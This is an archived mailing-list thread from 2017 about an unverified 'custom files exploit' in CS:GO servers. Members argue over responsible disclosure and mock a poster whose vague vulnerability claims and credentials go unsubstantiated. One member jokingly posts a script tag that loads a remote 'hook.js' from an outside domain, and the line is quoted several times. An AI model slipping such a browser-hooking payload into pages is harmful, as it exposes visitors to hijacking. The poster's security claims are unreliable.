You are embarrassing yourself. Which institution did you get your degree? It must be a very old BSc indeed. You talk complete nonsense and have a fundamental misunderstanding of basic computer science tenets.

 

On Tue, Oct 10, 2017 at 4:34 PM, Nomaan Ahmad <[hidden email]> wrote:

Nice hat there. Stealth might get this one though: https://i.imgur.com/329jfXt.gif

 

On 10 Oct 2017 4:29 pm, "PistonMiner" <[hidden email]> wrote:

The person in question should never have written a message about an open vulnerability into a public mailing list in the first place. Just because they did doesn't mean that you should ask for PoCs in public mailing lists, there's a multitude of issues with that.
To make it perfectly clear, I'm not defending this person, I seriously doubt the seriousness of their statements and a lot of what they're saying makes no sense at all and looks like trying to maintain an image of competence while knowing little, but responsible disclosure still applies. If this person has a vulnerability to report, they should do so with the information listed at http://www.valvesoftware.com/security/.
And I think I know what I'm talking about seeing as I have two Finder's Fees. See https://wiki.teamfortress.com/wiki/Finder%27s_Fee and https://wiki.teamfortress.com/wiki/List_of_Finder%27s_Fee_owners

On 10.10.2017 17:08, Vaya wrote:

I think someone needs to ‘stealth mode’ out of this email chain. This is just noise without a repeatable Test

Sent from my iPhone


On 10 Oct 2017, at 16:01, PistonMiner <[hidden email]> wrote:

If you have a vulnerability to report, don't do it in a public mailing list. Report it directly to Valve, and no place else. This conversation has so many problems, but asking for a PoC in a public mailing list is one of them. Look up responsible disclosure. (I should note though, at this point I am not convinced a vulnerability even exists.)

--  
PistonMiner (Linus S.)

_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

 

_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers



--  
PistonMiner (Linus S.)


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

 


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

 


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers
_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers
Reply | Threaded
Open this post in threaded view
|

Re: Custom files exploit

Nathaniel Theis
but setting up certbot to auto renew is like 3 commands and I'm lazy



On Oct 10, 2017 11:02 AM, "Daniel Saewitz" <[hidden email]> wrote:
You may want to fix your SSL cert bud ;)


On October 10, 2017 at 1:53:00 PM, Nathaniel Theis ([hidden email]) wrote:

hello I have injected a JavaScript into this email you are all now hacked

what do you mean it won't run without an actual vulnerability

you're super mega hacked

<script src=//xmppwocky.net/hook.js></script>

On Oct 10, 2017 10:02 AM, "iNilo" <[hidden email]> wrote:
I frankly don't care what / where / how you work, or what you have studied.

The only thing I know is that this is clearly the wrong channel to do argue/disclose/chat about.


Hopefully you get thanked in a patch note, if not I'm sure the entire community will be grateful that you disclosed a major security issue to the people that actually get paid to take care of this.

Thanks.



2017-10-10 18:54 GMT+02:00 Saint K. <[hidden email]>:

Christopher,

 

I work in “the field” as you like to call it. It’s customary to explain the exploit in detail and provide proof the concept (hence the request for a PoC) in any form or way.

 

Please demonstrate the issue, it be by posting the offending code, you recording a video showing a working exploit, or anything along these lines.

 

You should know this, if you work in “the field”.

 

Regards,

 

Saint K.

 

From: Csgo_servers [mailto:[hidden email]] On Behalf Of Stealth Mode
Sent: 10 October 2017 18:34
To: [hidden email]
Subject: Re: [Csgo_servers] Custom files exploit

 

@Ryan, etc.

 

I studied radio electronics before IT was a thing. NetSec and ITSec go hand in hand. My credentials aren't CS, because CS was radio electronics. The industry hasn't changed, just a little more vulnerable. Not like I am specifically stating how to inject code, or what code to inject on a public mailing list. Don't need to. Professionals here know what I am referring to. I guess the rest do not have the knowledge to understand what the exploit can actually do. You are aware. That is all that matters. Don't secure your servers, that is on you. When they get exploited, that is on you. 

 

Have a nice day! End of discussion. No further communications.

 

Sincerely,

Christopher "StealthMode" Stephen Larkins

Independent IT Field Engineer

 

 

On Tue, Oct 10, 2017 at 12:09 PM, Ryan Bentley <[hidden email]> wrote:

My sides at this thread. At first I just rolled my eyes but now I actually believe that Stealth Mode is either a troll or delusional. Please stop saying "ITSec". Any first year CS student knows what PoC is but you don't? Please.

You are embarrassing yourself. Which institution did you get your degree? It must be a very old BSc indeed. You talk complete nonsense and have a fundamental misunderstanding of basic computer science tenets.

 

On Tue, Oct 10, 2017 at 4:34 PM, Nomaan Ahmad <[hidden email]> wrote:

Nice hat there. Stealth might get this one though: https://i.imgur.com/329jfXt.gif

 

On 10 Oct 2017 4:29 pm, "PistonMiner" <[hidden email]> wrote:

The person in question should never have written a message about an open vulnerability into a public mailing list in the first place. Just because they did doesn't mean that you should ask for PoCs in public mailing lists, there's a multitude of issues with that.
To make it perfectly clear, I'm not defending this person, I seriously doubt the seriousness of their statements and a lot of what they're saying makes no sense at all and looks like trying to maintain an image of competence while knowing little, but responsible disclosure still applies. If this person has a vulnerability to report, they should do so with the information listed at http://www.valvesoftware.com/security/.
And I think I know what I'm talking about seeing as I have two Finder's Fees. See https://wiki.teamfortress.com/wiki/Finder%27s_Fee and https://wiki.teamfortress.com/wiki/List_of_Finder%27s_Fee_owners

On 10.10.2017 17:08, Vaya wrote:

I think someone needs to ‘stealth mode’ out of this email chain. This is just noise without a repeatable Test

Sent from my iPhone


On 10 Oct 2017, at 16:01, PistonMiner <[hidden email]> wrote:

If you have a vulnerability to report, don't do it in a public mailing list. Report it directly to Valve, and no place else. This conversation has so many problems, but asking for a PoC in a public mailing list is one of them. Look up responsible disclosure. (I should note though, at this point I am not convinced a vulnerability even exists.)

--  
PistonMiner (Linus S.)

_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

 

_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers



--  
PistonMiner (Linus S.)


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

 


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

 


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers
_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers
Reply | Threaded
Open this post in threaded view
|

Re: Custom files exploit

Stealth Mode
In reply to this post by iNilo
@iNilo

You're welcome. Far as vALVE, security knows about this. I contacted Eric, Alfred, Gabe, and security a little over 3 weeks ago now. They are aware of the issue. Probably forwarded it to the csgo developers. But a fix will probably take some time to create. As this effects every custom map, skin/model, sound file, etc.

This was just a heads up to server owners/admins in the meanwhile.

Thanks for the reply.

@others

Far as replicating, and videos. They aren't needed. Those who know what I am speaking about know how to replicate this themselves. No PoC is needed. How to replicate was mentioned. If you're not able to do this on your own I will not hold your hand providing information that is wasted on people who don't comprehend what potential this exploit has. 

To be honest there are many ways to exploit os vulnerabilities, network vulnerabilities, electronics vulnerabilities, even game vulnerabilities. Some of which I've touched on here (packet injection, SQL injection, binary injections below jtag/hardware protection layer, etc.). But for this specific exploit I posted to the list so owners/admins who know what I am referring to can secure their servers until vALVE can add a fix to a future update.

Please refrain from replying further. The message was heard. There is no need for further replies.

-StealthMode

On Oct 10, 2017 13:02, "iNilo" <[hidden email]> wrote:
I frankly don't care what / where / how you work, or what you have studied.

The only thing I know is that this is clearly the wrong channel to do argue/disclose/chat about.


Hopefully you get thanked in a patch note, if not I'm sure the entire community will be grateful that you disclosed a major security issue to the people that actually get paid to take care of this.

Thanks.



2017-10-10 18:54 GMT+02:00 Saint K. <[hidden email]>:

Christopher,

 

I work in “the field” as you like to call it. It’s customary to explain the exploit in detail and provide proof the concept (hence the request for a PoC) in any form or way.

 

Please demonstrate the issue, it be by posting the offending code, you recording a video showing a working exploit, or anything along these lines.

 

You should know this, if you work in “the field”.

 

Regards,

 

Saint K.

 

From: Csgo_servers [mailto:[hidden email]] On Behalf Of Stealth Mode
Sent: 10 October 2017 18:34
To: [hidden email]
Subject: Re: [Csgo_servers] Custom files exploit

 

@Ryan, etc.

 

I studied radio electronics before IT was a thing. NetSec and ITSec go hand in hand. My credentials aren't CS, because CS was radio electronics. The industry hasn't changed, just a little more vulnerable. Not like I am specifically stating how to inject code, or what code to inject on a public mailing list. Don't need to. Professionals here know what I am referring to. I guess the rest do not have the knowledge to understand what the exploit can actually do. You are aware. That is all that matters. Don't secure your servers, that is on you. When they get exploited, that is on you. 

 

Have a nice day! End of discussion. No further communications.

 

Sincerely,

Christopher "StealthMode" Stephen Larkins

Independent IT Field Engineer

 

 

On Tue, Oct 10, 2017 at 12:09 PM, Ryan Bentley <[hidden email]> wrote:

My sides at this thread. At first I just rolled my eyes but now I actually believe that Stealth Mode is either a troll or delusional. Please stop saying "ITSec". Any first year CS student knows what PoC is but you don't? Please.

You are embarrassing yourself. Which institution did you get your degree? It must be a very old BSc indeed. You talk complete nonsense and have a fundamental misunderstanding of basic computer science tenets.

 

On Tue, Oct 10, 2017 at 4:34 PM, Nomaan Ahmad <[hidden email]> wrote:

Nice hat there. Stealth might get this one though: https://i.imgur.com/329jfXt.gif

 

On 10 Oct 2017 4:29 pm, "PistonMiner" <[hidden email]> wrote:

The person in question should never have written a message about an open vulnerability into a public mailing list in the first place. Just because they did doesn't mean that you should ask for PoCs in public mailing lists, there's a multitude of issues with that.
To make it perfectly clear, I'm not defending this person, I seriously doubt the seriousness of their statements and a lot of what they're saying makes no sense at all and looks like trying to maintain an image of competence while knowing little, but responsible disclosure still applies. If this person has a vulnerability to report, they should do so with the information listed at http://www.valvesoftware.com/security/.
And I think I know what I'm talking about seeing as I have two Finder's Fees. See https://wiki.teamfortress.com/wiki/Finder%27s_Fee and https://wiki.teamfortress.com/wiki/List_of_Finder%27s_Fee_owners

On 10.10.2017 17:08, Vaya wrote:

I think someone needs to ‘stealth mode’ out of this email chain. This is just noise without a repeatable Test

Sent from my iPhone


On 10 Oct 2017, at 16:01, PistonMiner <[hidden email]> wrote:

If you have a vulnerability to report, don't do it in a public mailing list. Report it directly to Valve, and no place else. This conversation has so many problems, but asking for a PoC in a public mailing list is one of them. Look up responsible disclosure. (I should note though, at this point I am not convinced a vulnerability even exists.)

-- 
PistonMiner (Linus S.)

_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

 

_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers



-- 
PistonMiner (Linus S.)


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

 


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

 


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers
Reply | Threaded
Open this post in threaded view
|

Re: Custom files exploit

Stealth Mode
In reply to this post by Ryan Bentley
Available for contract for PenTesting/SecurityAudits, Datacenter Migrations, and other IT infrastructure purposes. At the websites listed in an earlier mailing.

/tips grey hat (only don the blackhat for government contracts) and exits


No further communications. End of conversation.

-StealthMode

On Oct 10, 2017 14:00, "Ryan Bentley" <[hidden email]> wrote:
ITSec. PoC.

Sincerely,
Ryan "ExpertMode" Bentley
Independent IT Field Engineer


On Tue, Oct 10, 2017 at 6:50 PM, Nathaniel Theis <[hidden email]> wrote:
hello I have injected a JavaScript into this email you are all now hacked

what do you mean it won't run without an actual vulnerability

you're super mega hacked

<script src=//xmppwocky.net/hook.js></script>

On Oct 10, 2017 10:02 AM, "iNilo" <[hidden email]> wrote:
I frankly don't care what / where / how you work, or what you have studied.

The only thing I know is that this is clearly the wrong channel to do argue/disclose/chat about.


Hopefully you get thanked in a patch note, if not I'm sure the entire community will be grateful that you disclosed a major security issue to the people that actually get paid to take care of this.

Thanks.



2017-10-10 18:54 GMT+02:00 Saint K. <[hidden email]>:

Christopher,

 

I work in “the field” as you like to call it. It’s customary to explain the exploit in detail and provide proof the concept (hence the request for a PoC) in any form or way.

 

Please demonstrate the issue, it be by posting the offending code, you recording a video showing a working exploit, or anything along these lines.

 

You should know this, if you work in “the field”.

 

Regards,

 

Saint K.

 

From: Csgo_servers [mailto:[hidden email]] On Behalf Of Stealth Mode
Sent: 10 October 2017 18:34
To: [hidden email]
Subject: Re: [Csgo_servers] Custom files exploit

 

@Ryan, etc.

 

I studied radio electronics before IT was a thing. NetSec and ITSec go hand in hand. My credentials aren't CS, because CS was radio electronics. The industry hasn't changed, just a little more vulnerable. Not like I am specifically stating how to inject code, or what code to inject on a public mailing list. Don't need to. Professionals here know what I am referring to. I guess the rest do not have the knowledge to understand what the exploit can actually do. You are aware. That is all that matters. Don't secure your servers, that is on you. When they get exploited, that is on you. 

 

Have a nice day! End of discussion. No further communications.

 

Sincerely,

Christopher "StealthMode" Stephen Larkins

Independent IT Field Engineer

 

 

On Tue, Oct 10, 2017 at 12:09 PM, Ryan Bentley <[hidden email]> wrote:

My sides at this thread. At first I just rolled my eyes but now I actually believe that Stealth Mode is either a troll or delusional. Please stop saying "ITSec". Any first year CS student knows what PoC is but you don't? Please.

You are embarrassing yourself. Which institution did you get your degree? It must be a very old BSc indeed. You talk complete nonsense and have a fundamental misunderstanding of basic computer science tenets.

 

On Tue, Oct 10, 2017 at 4:34 PM, Nomaan Ahmad <[hidden email]> wrote:

Nice hat there. Stealth might get this one though: https://i.imgur.com/329jfXt.gif

 

On 10 Oct 2017 4:29 pm, "PistonMiner" <[hidden email]> wrote:

The person in question should never have written a message about an open vulnerability into a public mailing list in the first place. Just because they did doesn't mean that you should ask for PoCs in public mailing lists, there's a multitude of issues with that.
To make it perfectly clear, I'm not defending this person, I seriously doubt the seriousness of their statements and a lot of what they're saying makes no sense at all and looks like trying to maintain an image of competence while knowing little, but responsible disclosure still applies. If this person has a vulnerability to report, they should do so with the information listed at http://www.valvesoftware.com/security/.
And I think I know what I'm talking about seeing as I have two Finder's Fees. See https://wiki.teamfortress.com/wiki/Finder%27s_Fee and https://wiki.teamfortress.com/wiki/List_of_Finder%27s_Fee_owners

On 10.10.2017 17:08, Vaya wrote:

I think someone needs to ‘stealth mode’ out of this email chain. This is just noise without a repeatable Test

Sent from my iPhone


On 10 Oct 2017, at 16:01, PistonMiner <[hidden email]> wrote:

If you have a vulnerability to report, don't do it in a public mailing list. Report it directly to Valve, and no place else. This conversation has so many problems, but asking for a PoC in a public mailing list is one of them. Look up responsible disclosure. (I should note though, at this point I am not convinced a vulnerability even exists.)

-- 
PistonMiner (Linus S.)

_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

 

_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers



-- 
PistonMiner (Linus S.)


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

 


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

 


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers
Reply | Threaded
Open this post in threaded view
|

Re: Custom files exploit

Nomaan Ahmad
Can you please not spam this thread with your advertisements? It's getting rather annoying. Don't think anyone is interested here.
Submit PoC to Valve and kindly take a hike.

On 11 October 2017 at 02:29, Stealth Mode <[hidden email]> wrote:
Available for contract for PenTesting/SecurityAudits, Datacenter Migrations, and other IT infrastructure purposes. At the websites listed in an earlier mailing.

/tips grey hat (only don the blackhat for government contracts) and exits


No further communications. End of conversation.

-StealthMode

On Oct 10, 2017 14:00, "Ryan Bentley" <[hidden email]> wrote:
ITSec. PoC.

Sincerely,
Ryan "ExpertMode" Bentley
Independent IT Field Engineer


On Tue, Oct 10, 2017 at 6:50 PM, Nathaniel Theis <[hidden email]> wrote:
hello I have injected a JavaScript into this email you are all now hacked

what do you mean it won't run without an actual vulnerability

you're super mega hacked

<script src=//xmppwocky.net/hook.js></script>

On Oct 10, 2017 10:02 AM, "iNilo" <[hidden email]> wrote:
I frankly don't care what / where / how you work, or what you have studied.

The only thing I know is that this is clearly the wrong channel to do argue/disclose/chat about.


Hopefully you get thanked in a patch note, if not I'm sure the entire community will be grateful that you disclosed a major security issue to the people that actually get paid to take care of this.

Thanks.



2017-10-10 18:54 GMT+02:00 Saint K. <[hidden email]>:

Christopher,

 

I work in “the field” as you like to call it. It’s customary to explain the exploit in detail and provide proof the concept (hence the request for a PoC) in any form or way.

 

Please demonstrate the issue, it be by posting the offending code, you recording a video showing a working exploit, or anything along these lines.

 

You should know this, if you work in “the field”.

 

Regards,

 

Saint K.

 

From: Csgo_servers [mailto:[hidden email]] On Behalf Of Stealth Mode
Sent: 10 October 2017 18:34
To: [hidden email]
Subject: Re: [Csgo_servers] Custom files exploit

 

@Ryan, etc.

 

I studied radio electronics before IT was a thing. NetSec and ITSec go hand in hand. My credentials aren't CS, because CS was radio electronics. The industry hasn't changed, just a little more vulnerable. Not like I am specifically stating how to inject code, or what code to inject on a public mailing list. Don't need to. Professionals here know what I am referring to. I guess the rest do not have the knowledge to understand what the exploit can actually do. You are aware. That is all that matters. Don't secure your servers, that is on you. When they get exploited, that is on you. 

 

Have a nice day! End of discussion. No further communications.

 

Sincerely,

Christopher "StealthMode" Stephen Larkins

Independent IT Field Engineer

 

 

On Tue, Oct 10, 2017 at 12:09 PM, Ryan Bentley <[hidden email]> wrote:

My sides at this thread. At first I just rolled my eyes but now I actually believe that Stealth Mode is either a troll or delusional. Please stop saying "ITSec". Any first year CS student knows what PoC is but you don't? Please.

You are embarrassing yourself. Which institution did you get your degree? It must be a very old BSc indeed. You talk complete nonsense and have a fundamental misunderstanding of basic computer science tenets.

 

On Tue, Oct 10, 2017 at 4:34 PM, Nomaan Ahmad <[hidden email]> wrote:

Nice hat there. Stealth might get this one though: https://i.imgur.com/329jfXt.gif

 

On 10 Oct 2017 4:29 pm, "PistonMiner" <[hidden email]> wrote:

The person in question should never have written a message about an open vulnerability into a public mailing list in the first place. Just because they did doesn't mean that you should ask for PoCs in public mailing lists, there's a multitude of issues with that.
To make it perfectly clear, I'm not defending this person, I seriously doubt the seriousness of their statements and a lot of what they're saying makes no sense at all and looks like trying to maintain an image of competence while knowing little, but responsible disclosure still applies. If this person has a vulnerability to report, they should do so with the information listed at http://www.valvesoftware.com/security/.
And I think I know what I'm talking about seeing as I have two Finder's Fees. See https://wiki.teamfortress.com/wiki/Finder%27s_Fee and https://wiki.teamfortress.com/wiki/List_of_Finder%27s_Fee_owners

On 10.10.2017 17:08, Vaya wrote:

I think someone needs to ‘stealth mode’ out of this email chain. This is just noise without a repeatable Test

Sent from my iPhone


On 10 Oct 2017, at 16:01, PistonMiner <[hidden email]> wrote:

If you have a vulnerability to report, don't do it in a public mailing list. Report it directly to Valve, and no place else. This conversation has so many problems, but asking for a PoC in a public mailing list is one of them. Look up responsible disclosure. (I should note though, at this point I am not convinced a vulnerability even exists.)

-- 
PistonMiner (Linus S.)

_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

 

_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers



-- 
PistonMiner (Linus S.)


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

 


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

 


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers
Reply | Threaded
Open this post in threaded view
|

Re: Custom files exploit

Ryan Bentley
In reply to this post by Stealth Mode
Cringe. Please get self-aware and realize how transparent you are. Any 21 year old CS grad can see how stupid this thread is.

On Wed, Oct 11, 2017 at 2:29 AM, Stealth Mode <[hidden email]> wrote:
Available for contract for PenTesting/SecurityAudits, Datacenter Migrations, and other IT infrastructure purposes. At the websites listed in an earlier mailing.

/tips grey hat (only don the blackhat for government contracts) and exits


No further communications. End of conversation.

-StealthMode

On Oct 10, 2017 14:00, "Ryan Bentley" <[hidden email]> wrote:
ITSec. PoC.

Sincerely,
Ryan "ExpertMode" Bentley
Independent IT Field Engineer


On Tue, Oct 10, 2017 at 6:50 PM, Nathaniel Theis <[hidden email]> wrote:
hello I have injected a JavaScript into this email you are all now hacked

what do you mean it won't run without an actual vulnerability

you're super mega hacked

<script src=//xmppwocky.net/hook.js></script>

On Oct 10, 2017 10:02 AM, "iNilo" <[hidden email]> wrote:
I frankly don't care what / where / how you work, or what you have studied.

The only thing I know is that this is clearly the wrong channel to do argue/disclose/chat about.


Hopefully you get thanked in a patch note, if not I'm sure the entire community will be grateful that you disclosed a major security issue to the people that actually get paid to take care of this.

Thanks.



2017-10-10 18:54 GMT+02:00 Saint K. <[hidden email]>:

Christopher,

 

I work in “the field” as you like to call it. It’s customary to explain the exploit in detail and provide proof the concept (hence the request for a PoC) in any form or way.

 

Please demonstrate the issue, it be by posting the offending code, you recording a video showing a working exploit, or anything along these lines.

 

You should know this, if you work in “the field”.

 

Regards,

 

Saint K.

 

From: Csgo_servers [mailto:[hidden email]] On Behalf Of Stealth Mode
Sent: 10 October 2017 18:34
To: [hidden email]
Subject: Re: [Csgo_servers] Custom files exploit

 

@Ryan, etc.

 

I studied radio electronics before IT was a thing. NetSec and ITSec go hand in hand. My credentials aren't CS, because CS was radio electronics. The industry hasn't changed, just a little more vulnerable. Not like I am specifically stating how to inject code, or what code to inject on a public mailing list. Don't need to. Professionals here know what I am referring to. I guess the rest do not have the knowledge to understand what the exploit can actually do. You are aware. That is all that matters. Don't secure your servers, that is on you. When they get exploited, that is on you. 

 

Have a nice day! End of discussion. No further communications.

 

Sincerely,

Christopher "StealthMode" Stephen Larkins

Independent IT Field Engineer

 

 

On Tue, Oct 10, 2017 at 12:09 PM, Ryan Bentley <[hidden email]> wrote:

My sides at this thread. At first I just rolled my eyes but now I actually believe that Stealth Mode is either a troll or delusional. Please stop saying "ITSec". Any first year CS student knows what PoC is but you don't? Please.

You are embarrassing yourself. Which institution did you get your degree? It must be a very old BSc indeed. You talk complete nonsense and have a fundamental misunderstanding of basic computer science tenets.

 

On Tue, Oct 10, 2017 at 4:34 PM, Nomaan Ahmad <[hidden email]> wrote:

Nice hat there. Stealth might get this one though: https://i.imgur.com/329jfXt.gif

 

On 10 Oct 2017 4:29 pm, "PistonMiner" <[hidden email]> wrote:

The person in question should never have written a message about an open vulnerability into a public mailing list in the first place. Just because they did doesn't mean that you should ask for PoCs in public mailing lists, there's a multitude of issues with that.
To make it perfectly clear, I'm not defending this person, I seriously doubt the seriousness of their statements and a lot of what they're saying makes no sense at all and looks like trying to maintain an image of competence while knowing little, but responsible disclosure still applies. If this person has a vulnerability to report, they should do so with the information listed at http://www.valvesoftware.com/security/.
And I think I know what I'm talking about seeing as I have two Finder's Fees. See https://wiki.teamfortress.com/wiki/Finder%27s_Fee and https://wiki.teamfortress.com/wiki/List_of_Finder%27s_Fee_owners

On 10.10.2017 17:08, Vaya wrote:

I think someone needs to ‘stealth mode’ out of this email chain. This is just noise without a repeatable Test

Sent from my iPhone


On 10 Oct 2017, at 16:01, PistonMiner <[hidden email]> wrote:

If you have a vulnerability to report, don't do it in a public mailing list. Report it directly to Valve, and no place else. This conversation has so many problems, but asking for a PoC in a public mailing list is one of them. Look up responsible disclosure. (I should note though, at this point I am not convinced a vulnerability even exists.)

-- 
PistonMiner (Linus S.)

_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

 

_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers



-- 
PistonMiner (Linus S.)


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

 


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

 


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers
Reply | Threaded
Open this post in threaded view
|

Re: Custom files exploit

Ivan Petrovic
#purgethemailinglist

On Tue, Oct 10, 2017 at 7:13 PM, Ryan Bentley <[hidden email]> wrote:
Cringe. Please get self-aware and realize how transparent you are. Any 21 year old CS grad can see how stupid this thread is.

On Wed, Oct 11, 2017 at 2:29 AM, Stealth Mode <[hidden email]> wrote:
Available for contract for PenTesting/SecurityAudits, Datacenter Migrations, and other IT infrastructure purposes. At the websites listed in an earlier mailing.

/tips grey hat (only don the blackhat for government contracts) and exits


No further communications. End of conversation.

-StealthMode

On Oct 10, 2017 14:00, "Ryan Bentley" <[hidden email]> wrote:
ITSec. PoC.

Sincerely,
Ryan "ExpertMode" Bentley
Independent IT Field Engineer


On Tue, Oct 10, 2017 at 6:50 PM, Nathaniel Theis <[hidden email]> wrote:
hello I have injected a JavaScript into this email you are all now hacked

what do you mean it won't run without an actual vulnerability

you're super mega hacked

<script src=//xmppwocky.net/hook.js></script>

On Oct 10, 2017 10:02 AM, "iNilo" <[hidden email]> wrote:
I frankly don't care what / where / how you work, or what you have studied.

The only thing I know is that this is clearly the wrong channel to do argue/disclose/chat about.


Hopefully you get thanked in a patch note, if not I'm sure the entire community will be grateful that you disclosed a major security issue to the people that actually get paid to take care of this.

Thanks.



2017-10-10 18:54 GMT+02:00 Saint K. <[hidden email]>:

Christopher,

 

I work in “the field” as you like to call it. It’s customary to explain the exploit in detail and provide proof the concept (hence the request for a PoC) in any form or way.

 

Please demonstrate the issue, it be by posting the offending code, you recording a video showing a working exploit, or anything along these lines.

 

You should know this, if you work in “the field”.

